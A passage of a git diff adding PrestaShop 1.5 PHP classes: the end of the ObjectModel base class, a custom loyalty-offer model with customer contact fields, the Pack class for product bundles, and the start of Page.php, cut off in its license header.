(!method_exists('Validate', $data['validate'])) + throw new PrestaShopException('Validation function not found. '.$data['validate']); + + if (!empty($value) && !call_user_func(array('Validate', $data['validate']), $value)) + return 'Property '.get_class($this).'->'.$field.' is not valid'; + } + + return true; + } + + public static function displayFieldName($field, $class = __CLASS__, $htmlentities = true, Context $context = null) + { + global $_FIELDS; + + if ($_FIELDS === null && file_exists(_PS_TRANSLATIONS_DIR_.Context::getContext()->language->iso_code.'/fields.php')) + include_once(_PS_TRANSLATIONS_DIR_.Context::getContext()->language->iso_code.'/fields.php'); + + $key = $class.'_'.md5($field); + return ((is_array($_FIELDS) && array_key_exists($key, $_FIELDS)) ? ($htmlentities ? htmlentities($_FIELDS[$key], ENT_QUOTES, 'utf-8') : $_FIELDS[$key]) : $field); + } + + /** + * TODO: refactor rename all calls to this to validateController + * @deprecated since 1.5 use validateController instead + */ + public function validateControler($htmlentities = true) + { + Tools::displayAsDeprecated(); + return $this->validateController($htmlentities); + } + + public function validateController($htmlentities = true) + { + $errors = array(); + $required_fields_database = (isset(self::$fieldsRequiredDatabase[get_class($this)])) ? self::$fieldsRequiredDatabase[get_class($this)] : array(); + foreach ($this->def['fields'] as $field => $data) + { + // Check if field is required by user + if (in_array($field, $required_fields_database)) + $data['required'] = true; + + // Checking for required fields + if (isset($data['required']) && $data['required'] && ($value = Tools::getValue($field, $this->{$field})) == false && (string)$value != '0') + if (!$this->id || $field != 'passwd') + $errors[] = '<b>'.self::displayFieldName($field, get_class($this), $htmlentities).'</b> '.Tools::displayError('is required.'); + + // Checking for maximum fields sizes + if (isset($data['size']) && ($value = Tools::getValue($field, $this->{$field})) && Tools::strlen($value) > $data['size']) + $errors[] = sprintf( + Tools::displayError('%1$s is too long. Maximum length: %2$d'), + self::displayFieldName($field, get_class($this), $htmlentities), + $data['size'] + ); + + // Checking for fields validity + // Hack for postcode required for country which does not have postcodes + if (($value = Tools::getValue($field, $this->{$field})) || ($field == 'postcode' && $value == '0')) + { + if (isset($data['validate']) && !Validate::$data['validate']($value) && (!empty($value) || $data['required'])) + $errors[] = '<b>'.self::displayFieldName($field, get_class($this), $htmlentities).'</b> '.Tools::displayError('is invalid.'); + else + { + if (isset($data['copy_post']) && !$data['copy_post']) + continue; + if ($field == 'passwd') + { + if ($value = Tools::getValue($field)) + $this->{$field} = Tools::encrypt($value); + } + else + $this->{$field} = $value; + } + } + } + return $errors; + } + + public function getWebserviceParameters($ws_params_attribute_name = null) + { + $default_resource_parameters = array( + 'objectSqlId' => $this->def['primary'], + 'retrieveData' => array( + 'className' => get_class($this), + 'retrieveMethod' => 'getWebserviceObjectList', + 'params' => array(), + 'table' => $this->def['table'], + ), + 'fields' => array( + 'id' => array('sqlId' => $this->def['primary'], 'i18n' => false), + ), + ); + + if ($ws_params_attribute_name === null) + $ws_params_attribute_name = 'webserviceParameters'; + + if (!isset($this->{$ws_params_attribute_name}['objectNodeName'])) + $default_resource_parameters['objectNodeName'] = $this->def['table']; + if (!isset($this->{$ws_params_attribute_name}['objectsNodeName'])) + $default_resource_parameters['objectsNodeName'] = $this->def['table'].'s'; + + if (isset($this->{$ws_params_attribute_name}['associations'])) + foreach ($this->{$ws_params_attribute_name}['associations'] as $assoc_name => &$association) + { + if (!array_key_exists('setter', $association) || (isset($association['setter']) && !$association['setter'])) + $association['setter'] = Tools::toCamelCase('set_ws_'.$assoc_name); + if (!array_key_exists('getter', $association)) + $association['getter'] = Tools::toCamelCase('get_ws_'.$assoc_name); + } + + if (isset($this->{$ws_params_attribute_name}['retrieveData']) && isset($this->{$ws_params_attribute_name}['retrieveData']['retrieveMethod'])) + unset($default_resource_parameters['retrieveData']['retrieveMethod']); + + $resource_parameters = array_merge_recursive($default_resource_parameters, $this->{$ws_params_attribute_name}); + + $required_fields = (isset(self::$fieldsRequiredDatabase[get_class($this)]) ? self::$fieldsRequiredDatabase[get_class($this)] : array()); + foreach ($this->def['fields'] as $field_name => $details) + { + if (!isset($resource_parameters['fields'][$field_name])) + $resource_parameters['fields'][$field_name] = array(); + $current_field = array(); + $current_field['sqlId'] = $field_name; + if (isset($details['size'])) + $current_field['maxSize'] = $details['size']; + if (isset($details['lang'])) + $current_field['i18n'] = $details['lang']; + else + $current_field['i18n'] = false; + if ((isset($details['required']) && $details['required'] === true) || in_array($field_name, $required_fields)) + $current_field['required'] = true; + else + $current_field['required'] = false; + if (isset($details['validate'])) + { + $current_field['validateMethod'] = ( + array_key_exists('validateMethod', $resource_parameters['fields'][$field_name]) ? + array_merge($resource_parameters['fields'][$field_name]['validateMethod'], array($details['validate'])) : + array($details['validate']) + ); + } + $resource_parameters['fields'][$field_name] = array_merge($resource_parameters['fields'][$field_name], $current_field); + } + if (isset($this->date_add)) + $resource_parameters['fields']['date_add']['setter'] = false; + if (isset($this->date_upd)) + $resource_parameters['fields']['date_upd']['setter'] = false; + foreach ($resource_parameters['fields'] as $key => $resource_parameters_field) + if (!isset($resource_parameters_field['sqlId'])) + $resource_parameters['fields'][$key]['sqlId'] = $key; + return $resource_parameters; + } + + public function getWebserviceObjectList($sql_join, $sql_filter, $sql_sort, $sql_limit) + { + $assoc = Shop::getAssoTable($this->def['table']); + $class_name = WebserviceRequest::$ws_current_classname; + $vars = get_class_vars($class_name); + if ($assoc !== false) + { + if ($assoc['type'] !== 'fk_shop') + { + $multi_shop_join = ' LEFT JOIN `'._DB_PREFIX_.bqSQL($this->def['table']).'_'.bqSQL($assoc['type']).'` + AS `multi_shop_'.bqSQL($this->def['table']).'` + ON (main.`'.bqSQL($this->def['primary']).'` = `multi_shop_'.bqSQL($this->def['table']).'`.`'.bqSQL($this->def['primary']).'`)'; + $sql_filter = 'AND `multi_shop_'.bqSQL($this->def['table']).'`.id_shop = '.Context::getContext()->shop->id.' '.$sql_filter; + $sql_join = $multi_shop_join.' '.$sql_join; + } + else + { + $vars = get_class_vars($class_name); + foreach ($vars['shopIDs'] as $id_shop) + $or[] = ' main.id_shop = '.(int)$id_shop.' '; + + $prepend = ''; + if (count($or)) + $prepend = 'AND ('.implode('OR', $or).')'; + $sql_filter = $prepend.' '.$sql_filter; + } + } + $query = ' + SELECT DISTINCT main.`'.bqSQL($this->def['primary']).'` FROM `'._DB_PREFIX_.bqSQL($this->def['table']).'` AS main + '.$sql_join.' + WHERE 1 '.$sql_filter.' + '.($sql_sort != '' ? $sql_sort : '').' + '.($sql_limit != '' ? $sql_limit : ''); + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + } + + public function validateFieldsRequiredDatabase($htmlentities = true) + { + $errors = array(); + $required_fields = (isset(self::$fieldsRequiredDatabase[get_class($this)])) ? self::$fieldsRequiredDatabase[get_class($this)] : array(); + + foreach ($this->def['fields'] as $field => $data) + { + if (!in_array($field, $required_fields)) + continue; + + if (!method_exists('Validate', $data['validate'])) + throw new PrestaShopException('Validation function not found. '.$data['validate']); + + $value = Tools::getValue($field); + + if (empty($value)) + $errors[] = sprintf(Tools::displayError('The field %s is required.'), self::displayFieldName($field, get_class($this), $htmlentities)); + } + + return $errors; + } + + public function getFieldsRequiredDatabase($all = false) + { + return Db::getInstance()->executeS(' + SELECT id_required_field, object_name, field_name + FROM '._DB_PREFIX_.'required_field + '.(!$all ? 'WHERE object_name = \''.pSQL(get_class($this)).'\'' : '')); + } + + public function addFieldsRequiredDatabase($fields) + { + if (!is_array($fields)) + return false; + + if (!Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'required_field WHERE object_name = \''.get_class($this).'\'')) + return false; + + foreach ($fields as $field) + if (!Db::getInstance()->insert('required_field', array('object_name' => get_class($this), 'field_name' => pSQL($field)))) + return false; + return true; + } + + public function clearCache($all = false) + { + if ($all) + Cache::clean('objectmodel_'.$this->def['classname'].'_*'); + elseif ($this->id) + Cache::clean('objectmodel_'.$this->def['classname'].'_'.(int)$this->id.'_*'); + } + + /** + * Check if current object is associated to a shop + * + * @since 1.5.0 + * @param int $id_shop + * @return bool + */ + public function isAssociatedToShop($id_shop = null) + { + if ($id_shop === null) + $id_shop = Context::getContext()->shop->id; + + $sql = 'SELECT id_shop + FROM `'.pSQL(_DB_PREFIX_.$this->def['table']).'_shop` + WHERE `'.$this->def['primary'].'` = '.(int)$this->id.' + AND id_shop = '.(int)$id_shop; + return (bool)Db::getInstance()->getValue($sql); + } + + /** + * This function associate an item to its context + * + * @param int|array $id_shops + * @return boolean + */ + public function associateTo($id_shops) + { + if (!$this->id) + return; + + if (!is_array($id_shops)) + $id_shops = array($id_shops); + + $data = array(); + foreach ($id_shops as $id_shop) + { + if (!$this->isAssociatedToShop($id_shop)) + $data[] = array( + $this->def['primary'] => (int)$this->id, + 'id_shop' => (int)$id_shop, + ); + } + + if ($data) + return Db::getInstance()->insert($this->def['table'].'_shop', $data); + return true; + } + + /** + * Get the list of associated id_shop + * + * @since 1.5.0 + * @return array + */ + public function getAssociatedShops() + { + if (!Shop::isTableAssociated($this->def['table'])) + return array(); + + $list = array(); + $sql = 'SELECT id_shop FROM `'._DB_PREFIX_.$this->def['table'].'_shop` WHERE `'.$this->def['primary'].'` = '.(int)$this->id; + foreach (Db::getInstance()->executeS($sql) as $row) + $list[] = $row['id_shop']; + return $list; + } + + /** + * @since 1.5.0 + */ + public function duplicateShops($id) + { + if (!Shop::isTableAssociated($this->def['table'])) + return false; + + $sql = 'SELECT id_shop + FROM '._DB_PREFIX_.$this->def['table'].'_shop + WHERE '.$this->def['primary'].' = '.(int)$id; + if ($results = Db::getInstance()->executeS($sql)) + { + $ids = array(); + foreach ($results as $row) + $ids[] = $row['id_shop']; + return $this->associateTo($ids); + } + + return false; + } + + /** + * Check if there is more than one entries in associated shop table for current entity + * + * @since 1.5.0 + * @return bool + */ + public function hasMultishopEntries() + { + if (!Shop::isTableAssociated($this->def['table']) || !Shop::isFeatureActive()) + return false; + return (bool)Db::getInstance()->getValue('SELECT COUNT(*) FROM `'._DB_PREFIX_.$this->def['table'].'_shop` WHERE `'.$this->def['primary'].'` = '.(int)$this->id); + } + + public function isMultishop() + { + return Shop::isTableAssociated($this->def['table']) || !empty($this->def['multilang_shop']); + } + + public function isLangMultishop() + { + return !empty($this->def['multilang']) && !empty($this->def['multilang_shop']); + } + + /** + * Update a table and splits the common datas and the shop datas + * + * @since 1.5.0 + * @param string $classname + * @param array $data + * @param string $where + * @param string $specific_where Only executed for common table + * @return bool + */ + public static function updateMultishopTable($classname, $data, $where, $specific_where = '') + { + $def = ObjectModel::getDefinition($classname); + $update_data = array(); + foreach ($data as $field => $value) + { + if (!isset($def['fields'][$field])) + continue; + + if (!empty($def['fields'][$field]['shop'])) + { + $update_data[] = "a.$field = '$value'"; + $update_data[] = "{$def['table']}_shop.$field = '$value'"; + } + else + $update_data[] = "a.$field = '$value'"; + } + + $sql = 'UPDATE '._DB_PREFIX_.$def['table'].' a + '.Shop::addSqlAssociation($def['table'], 'a', true, null, true).' + SET '.implode(', ', $update_data).' + WHERE '.$where; + return Db::getInstance()->execute($sql); + } + + /** + * Delete images associated with the object + * + * @return bool success + */ + public function deleteImage($force_delete = false) + { + if (!$this->id) + return false; + + if ($force_delete || !$this->hasMultishopEntries()) + { + /* Deleting object images and thumbnails (cache) */ + if ($this->image_dir) + { + if (file_exists($this->image_dir.$this->id.'.'.$this->image_format) + && !unlink($this->image_dir.$this->id.'.'.$this->image_format)) + return false; + } + if (file_exists(_PS_TMP_IMG_DIR_.$this->def['table'].'_'.$this->id.'.'.$this->image_format) + && !unlink(_PS_TMP_IMG_DIR_.$this->def['table'].'_'.$this->id.'.'.$this->image_format)) + return false; + if (file_exists(_PS_TMP_IMG_DIR_.$this->def['table'].'_mini_'.$this->id.'.'.$this->image_format) + && !unlink(_PS_TMP_IMG_DIR_.$this->def['table'].'_mini_'.$this->id.'.'.$this->image_format)) + return false; + + $types = ImageType::getImagesTypes(); + foreach ($types as $image_type) + if (file_exists($this->image_dir.$this->id.'-'.stripslashes($image_type['name']).'.'.$this->image_format) + && !unlink($this->image_dir.$this->id.'-'.stripslashes($image_type['name']).'.'.$this->image_format)) + return false; + } + return true; + } + + /** + * Specify if an ObjectModel is already in database + * + * @param int $id_entity + * @param string $table + * @return boolean + */ + public static function existsInDatabase($id_entity, $table) + { + $row = Db::getInstance()->getRow(' + SELECT `id_'.$table.'` as id + FROM `'._DB_PREFIX_.$table.'` e + WHERE e.`id_'.$table.'` = '.(int)$id_entity + ); + + return isset($row['id']); + } + + /** + * This method is allow to know if a entity is currently used + * @since 1.5.0.1 + * @param string $table name of table linked to entity + * @param bool $has_active_column true if the table has an active column + * @return bool + */ + public static function isCurrentlyUsed($table = null, $has_active_column = false) + { + if ($table === null) + $table = self::$definition['table']; + + $query = new DbQuery(); + $query->select('`id_'.pSQL($table).'`'); + $query->from($table); + if ($has_active_column) + $query->where('`active` = 1'); + return (bool)Db::getInstance()->getValue($query); + } + + /** + * Fill an object with given data. Data must be an array with this syntax: array(objProperty => value, objProperty2 => value, etc.) + * + * @since 1.5.0 + * @param array $data + * @param int $id_lang + */ + public function hydrate(array $data, $id_lang = null) + { + $this->id_lang = $id_lang; + if (isset($data[$this->def['primary']])) + $this->id = $data[$this->def['primary']]; + foreach ($data as $key => $value) + if (array_key_exists($key, $this)) + $this->$key = $value; + } + + /** + * Fill (hydrate) a list of objects in order to get a collection of these objects + * + * @since 1.5.0 + * @param string $class Class of objects to hydrate + * @param array $datas List of data (multi-dimensional array) + * @param int $id_lang + * @return array + */ + public static function hydrateCollection($class, array $datas, $id_lang = null) + { + if (!class_exists($class)) + throw new PrestaShopException("Class '$class' not found"); + + $collection = array(); + $rows = array(); + if ($datas) + { + $definition = ObjectModel::getDefinition($class); + if (!array_key_exists($definition['primary'], $datas[0])) + throw new PrestaShopException("Identifier '{$definition['primary']}' not found for class '$class'"); + + foreach ($datas as $row) + { + // Get object common properties + $id = $row[$definition['primary']]; + if (!isset($rows[$id])) + $rows[$id] = $row; + + // Get object lang properties + if (isset($row['id_lang']) && !$id_lang) + foreach ($definition['fields'] as $field => $data) + if (!empty($data['lang'])) + { + if (!is_array($rows[$id][$field])) + $rows[$id][$field] = array(); + $rows[$id][$field][$row['id_lang']] = $row[$field]; + } + } + } + + // Hydrate objects + foreach ($rows as $row) + { + $obj = new $class; + $obj->hydrate($row, $id_lang); + $collection[] = $obj; + } + return $collection; + } + + /** + * Get object definition + * + * @param string $class Name of object + * @param string $field Name of field if we want the definition of one field only + * @return array + */ + public static function getDefinition($class, $field = null) + { + if (is_object($class)) + $class = get_class($class); + + if ($field === null) + $cache_id = 'objectmodel_def_'.$class; + + if ($field !== null || !Cache::isStored($cache_id)) + { + $reflection = new ReflectionClass($class); + $definition = $reflection->getStaticPropertyValue('definition'); + + $definition['classname'] = $class; + + if (!empty($definition['multilang'])) + $definition['associations'][Collection::LANG_ALIAS] = array( + 'type' => self::HAS_MANY, + 'field' => $definition['primary'], + 'foreign_field' => $definition['primary'], + ); + + if ($field) + return isset($definition['fields'][$field]) ? $definition['fields'][$field] : null; + + Cache::store($cache_id, $definition); + return $definition; + } + + return Cache::retrieve($cache_id); + } + + /** + * Retrocompatibility for classes without $definition static + * Remove this in 1.6 ! + * + * @since 1.5.0 + */ + protected function setDefinitionRetrocompatibility() + { + // Retrocompatibility with $table property ($definition['table']) + if (isset($this->def['table'])) + $this->table = $this->def['table']; + else + $this->def['table'] = $this->table; + + // Retrocompatibility with $identifier property ($definition['primary']) + if (isset($this->def['primary'])) + $this->identifier = $this->def['primary']; + else + $this->def['primary'] = $this->identifier; + + // Check multilang retrocompatibility + if (method_exists($this, 'getTranslationsFieldsChild')) + $this->def['multilang'] = true; + + // Retrocompatibility with $fieldsValidate, $fieldsRequired and $fieldsSize properties ($definition['fields']) + if (isset($this->def['fields'])) + { + foreach ($this->def['fields'] as $field => $data) + { + $suffix = (isset($data['lang']) && $data['lang']) ? 'Lang' : ''; + if (isset($data['validate'])) + $this->{'fieldsValidate'.$suffix}[$field] = $data['validate']; + if (isset($data['required']) && $data['required']) + $this->{'fieldsRequired'.$suffix}[] = $field; + if (isset($data['size'])) + $this->{'fieldsSize'.$suffix}[$field] = $data['size']; + } + } + else + { + $this->def['fields'] = array(); + $suffixs = array('', 'Lang'); + foreach($suffixs as $suffix) + { + foreach ($this->{'fieldsValidate'.$suffix} as $field => $validate) + { + $this->def['fields'][$field]['validate'] = $validate; + if ($suffix == 'Lang') + $this->def['fields'][$field]['lang'] = true; + } + foreach ($this->{'fieldsRequired'.$suffix} as $field) + { + $this->def['fields'][$field]['required'] = true; + if ($suffix == 'Lang') + $this->def['fields'][$field]['lang'] = true; + } + foreach ($this->{'fieldsSize'.$suffix} as $field => $size) + { + $this->def['fields'][$field]['size'] = $size; + if ($suffix == 'Lang') + $this->def['fields'][$field]['lang'] = true; + } + } + } + } + + /** + * Return the field value for the specified language if the field is multilang, else the field value. + * + * @param $field_name + * @param null $id_lang + * @return mixed + * @throws PrestaShopException + * @since 1.5 + */ + public function getFieldByLang($field_name, $id_lang = null) + { + $definition = ObjectModel::getDefinition($this); + // Is field in definition? + if ($definition && isset($definition['fields'][$field_name])) + { + $field = $definition['fields'][$field_name]; + // Is field multilang? + if (isset($field['lang']) && $field['lang']) + { + if (is_array($this->{$field_name})) + return $this->{$field_name}[$id_lang ? $id_lang : Context::getContext()->language->id]; + } + return $this->{$field_name}; + } + else + throw new PrestaShopException('Could not load field from definition.'); + } + + /** + * Set a list of specific fields to update + * array(field1 => true, field2 => false, langfield1 => array(1 => true, 2 => false)) + * + * @since 1.5.0 + * @param array $fields + */ + public function setFieldsToUpdate(array $fields) + { + $this->update_fields = $fields; + } +} \ No newline at end of file diff --git a/classes/Offredefidelite.php b/classes/Offredefidelite.php new file mode 100755 index 0000000..71973b6 --- /dev/null +++ b/classes/Offredefidelite.php @@ -0,0 +1,82 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OffredefideliteCore extends ObjectModel +{ + // public $smarty; + public $id; + public $id_offrefidelite; + public $fidelite_civilite; + public $fidelite_nom; + public $fidelite_prenom; + public $fidelite_adr; + public $fidelite_ville; + public $fidelite_tel; + public $from; + public $days; + public $months; + public $years; + public $produits1; + public $produits2; + public $selectedIds; + + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'devspeoffrefidelite', + 'primary' => 'id_offrefidelite', + 'fields' => array( + // 'fidelite_adr' => array('type' => self::TYPE_STRING, 'validate' => 'isEmail', 'size' => 128), + // 'customer_service' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + + // Lang fields + 'fidelite_civilite' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 255), + 'fidelite_nom' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 255), + 'fidelite_prenom' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 255), + 'fidelite_adr' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 255), + 'fidelite_ville' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 255), + 'fidelite_tel' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 255), + 'from' => array('type' => self::TYPE_STRING, 'validate' => 'isString','size' => 255), + 'days' => array('type' => self::TYPE_STRING, 'validate' => 'isString','size' => 2), + 'months' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 2), + 'years' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 4), + 'produits1' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 255), + 'produits2' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 255), + 'selectedIds' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 255), + // 'description' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml'), + ), + ); + + + + public function __construct($id = null, $id_lang = null) + { + parent::__construct($id, $id_lang); + } +} + diff --git a/classes/Pack.php b/classes/Pack.php new file mode 100755 index 0000000..c0d2e06 --- /dev/null +++ b/classes/Pack.php @@ -0,0 +1,275 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class PackCore extends Product +{ + protected static $cachePackItems = array(); + protected static $cacheIsPack = array(); + protected static $cacheIsPacked = array(); + + /** + * Is product a pack? + * + * @static + * @param $id_product + * @return bool + */ + public static function isPack($id_product) + { + if (!Pack::isFeatureActive()) + return false; + + if (!$id_product) + return false; + + if (!array_key_exists($id_product, self::$cacheIsPack)) + { + $result = Db::getInstance()->getValue('SELECT COUNT(*) FROM '._DB_PREFIX_.'pack WHERE id_product_pack = '.(int)$id_product); + self::$cacheIsPack[$id_product] = ($result > 0); + } + return self::$cacheIsPack[$id_product]; + } + + /** + * Is product in a pack? + * + * @static + * @param $id_product + * @return bool + */ + public static function isPacked($id_product) + { + if (!Pack::isFeatureActive()) + return false; + + if (!array_key_exists($id_product, self::$cacheIsPacked)) + { + $result = Db::getInstance()->getValue('SELECT COUNT(*) FROM '._DB_PREFIX_.'pack WHERE id_product_item = '.(int)$id_product); + self::$cacheIsPacked[$id_product] = ($result > 0); + } + return self::$cacheIsPacked[$id_product]; + } + + public static function noPackPrice($id_product) + { + $sum = 0; + $price_display_method = !self::$_taxCalculationMethod; + $items = Pack::getItems($id_product, Configuration::get('PS_LANG_DEFAULT')); + foreach ($items as $item) + $sum += $item->getPrice($price_display_method) * $item->pack_quantity; + return $sum; + } + + public static function getItems($id_product, $id_lang) + { + if (!Pack::isFeatureActive()) + return array(); + + if (array_key_exists($id_product, self::$cachePackItems)) + return self::$cachePackItems[$id_product]; + $result = Db::getInstance()->executeS('SELECT id_product_item, quantity FROM '._DB_PREFIX_.'pack where id_product_pack = '.(int)$id_product); + $array_result = array(); + foreach ($result as $row) + { + $p = new Product($row['id_product_item'], false, $id_lang); + $p->loadStockData(); + $p->pack_quantity = $row['quantity']; + $array_result[] = $p; + } + self::$cachePackItems[$id_product] = $array_result; + return self::$cachePackItems[$id_product]; + } + + public static function isInStock($id_product) + { + if (!Pack::isFeatureActive()) + return true; + + $items = Pack::getItems((int)$id_product, Configuration::get('PS_LANG_DEFAULT')); + + foreach ($items as $item) + { + // Updated for 1.5.0 + if (Product::getQuantity($item->id) < $item->pack_quantity && !$item->isAvailableWhenOutOfStock((int)$item->out_of_stock)) + return false; + } + return true; + } + + public static function getItemTable($id_product, $id_lang, $full = false) + { + if (!Pack::isFeatureActive()) + return array(); + + $sql = 'SELECT p.*, product_shop.*, pl.*, MAX(image_shop.`id_image`) id_image, il.`legend`, cl.`name` AS category_default, a.quantity AS pack_quantity, product_shop.`id_category_default`, a.id_product_pack + FROM `'._DB_PREFIX_.'pack` a + LEFT JOIN `'._DB_PREFIX_.'product` p ON p.id_product = a.id_product_item + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl + ON p.id_product = pl.id_product + AND pl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('pl').' + LEFT JOIN `'._DB_PREFIX_.'image` i ON (i.`id_product` = p.`id_product`)'. + Shop::addSqlAssociation('image', 'i', false, 'image_shop.cover=1').' + LEFT JOIN `'._DB_PREFIX_.'image_lang` il ON (i.`id_image` = il.`id_image` AND il.`id_lang` = '.(int)$id_lang.') + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl + ON product_shop.`id_category_default` = cl.`id_category` + AND cl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('cl').' + WHERE product_shop.`id_shop` = '.(int)Context::getContext()->shop->id.' + AND a.`id_product_pack` = '.(int)$id_product.' + GROUP BY product_shop.id_product'; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + + foreach ($result as &$line) + $line = Product::getTaxesInformations($line); + + if (!$full) + return $result; + + $array_result = array(); + foreach ($result as $prow) + if (!Pack::isPack($prow['id_product'])) + $array_result[] = Product::getProductProperties($id_lang, $prow); + return $array_result; + } + + public static function getPacksTable($id_product, $id_lang, $full = false, $limit = null) + { + if (!Pack::isFeatureActive()) + return array(); + + $packs = Db::getInstance()->getValue(' + SELECT GROUP_CONCAT(a.`id_product_pack`) + FROM `'._DB_PREFIX_.'pack` a + WHERE a.`id_product_item` = '.(int)$id_product); + + if (!(int)$packs) + return array(); + + $sql = ' + SELECT p.*, product_shop.*, pl.*, MAX(image_shop.`id_image`) id_image, il.`legend` + FROM `'._DB_PREFIX_.'product` p + NATURAL LEFT JOIN `'._DB_PREFIX_.'product_lang` pl + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'image` i ON (i.`id_product` = p.`id_product`)'. + Shop::addSqlAssociation('image', 'i', false, 'image_shop.cover=1').' + LEFT JOIN `'._DB_PREFIX_.'image_lang` il ON (i.`id_image` = il.`id_image` AND il.`id_lang` = '.(int)$id_lang.') + WHERE pl.`id_lang` = '.(int)$id_lang.' + '.Shop::addSqlRestrictionOnLang('pl').' + AND p.`id_product` IN ('.$packs.') + GROUP BY product_shop.id_product'; + if ($limit) + $sql .= ' LIMIT '.(int)$limit; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + if (!$full) + return $result; + + $array_result = array(); + foreach ($result as $row) + if (!Pack::isPacked($row['id_product'])) + $array_result[] = Product::getProductProperties($id_lang, $row); + return $array_result; + } + + public static function deleteItems($id_product) + { + return Db::getInstance()->update('product', array('cache_is_pack' => 0), 'id_product = '.(int)$id_product) && + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'pack` WHERE `id_product_pack` = '.(int)$id_product) && + Configuration::updateGlobalValue('PS_PACK_FEATURE_ACTIVE', Pack::isCurrentlyUsed()); + } + + /** + * Add an item to the pack + * + * @param integer $id_product + * @param integer $id_item + * @param integer $qty + * @return boolean true if everything was fine + */ + public static function addItem($id_product, $id_item, $qty) + { + return Db::getInstance()->update('product', array('cache_is_pack' => 1), 'id_product = '.(int)$id_product) && + Db::getInstance()->insert('pack', array('id_product_pack' => (int)$id_product, 'id_product_item' => (int)$id_item, 'quantity' => (int)$qty)) && + Configuration::updateGlobalValue('PS_PACK_FEATURE_ACTIVE', '1'); + } + + public static function duplicate($id_product_old, $id_product_new) + { + Db::getInstance()->execute('INSERT INTO '._DB_PREFIX_.'pack (id_product_pack, id_product_item, quantity) + (SELECT '.(int)$id_product_new.', id_product_item, quantity FROM '._DB_PREFIX_.'pack WHERE id_product_pack = '.(int)$id_product_old.')'); + + // If return query result, a non-pack product will return false + return true; + } + + /** + * This method is allow to know if a feature is used or active + * @since 1.5.0.1 + * @return bool + */ + public static function isFeatureActive() + { + return Configuration::get('PS_PACK_FEATURE_ACTIVE'); + } + + /** + * This method is allow to know if a Pack entity is currently used + * @since 1.5.0 + * @param $table + * @param $has_active_column + * @return bool + */ + public static function isCurrentlyUsed($table = null, $has_active_column = false) + { + // We dont't use the parent method because the identifier isn't id_pack + return (bool)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `id_product_pack` + FROM `'._DB_PREFIX_.'pack` + '); + } + + /** + * For a given pack, tells if it has at least one product using the advanced stock management + * + * @param int $id_product id_pack + * @return bool + */ + public static function usesAdvancedStockManagement($id_product) + { + if (!Pack::isPack($id_product)) + return false; + + $products = Pack::getItems($id_product, Configuration::get('PS_LANG_DEFAULT')); + foreach ($products as $product) + { + // if one product uses the advanced stock management + if ($product->advanced_stock_management == 1) + return true; + } + // not used + return false; + } +} + diff --git a/classes/Page.php b/classes/Page.php new file mode 100755 index 0000000..ff7e147 --- /dev/null +++ b/classes/Page.php @@ -0,0 +1,128 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & 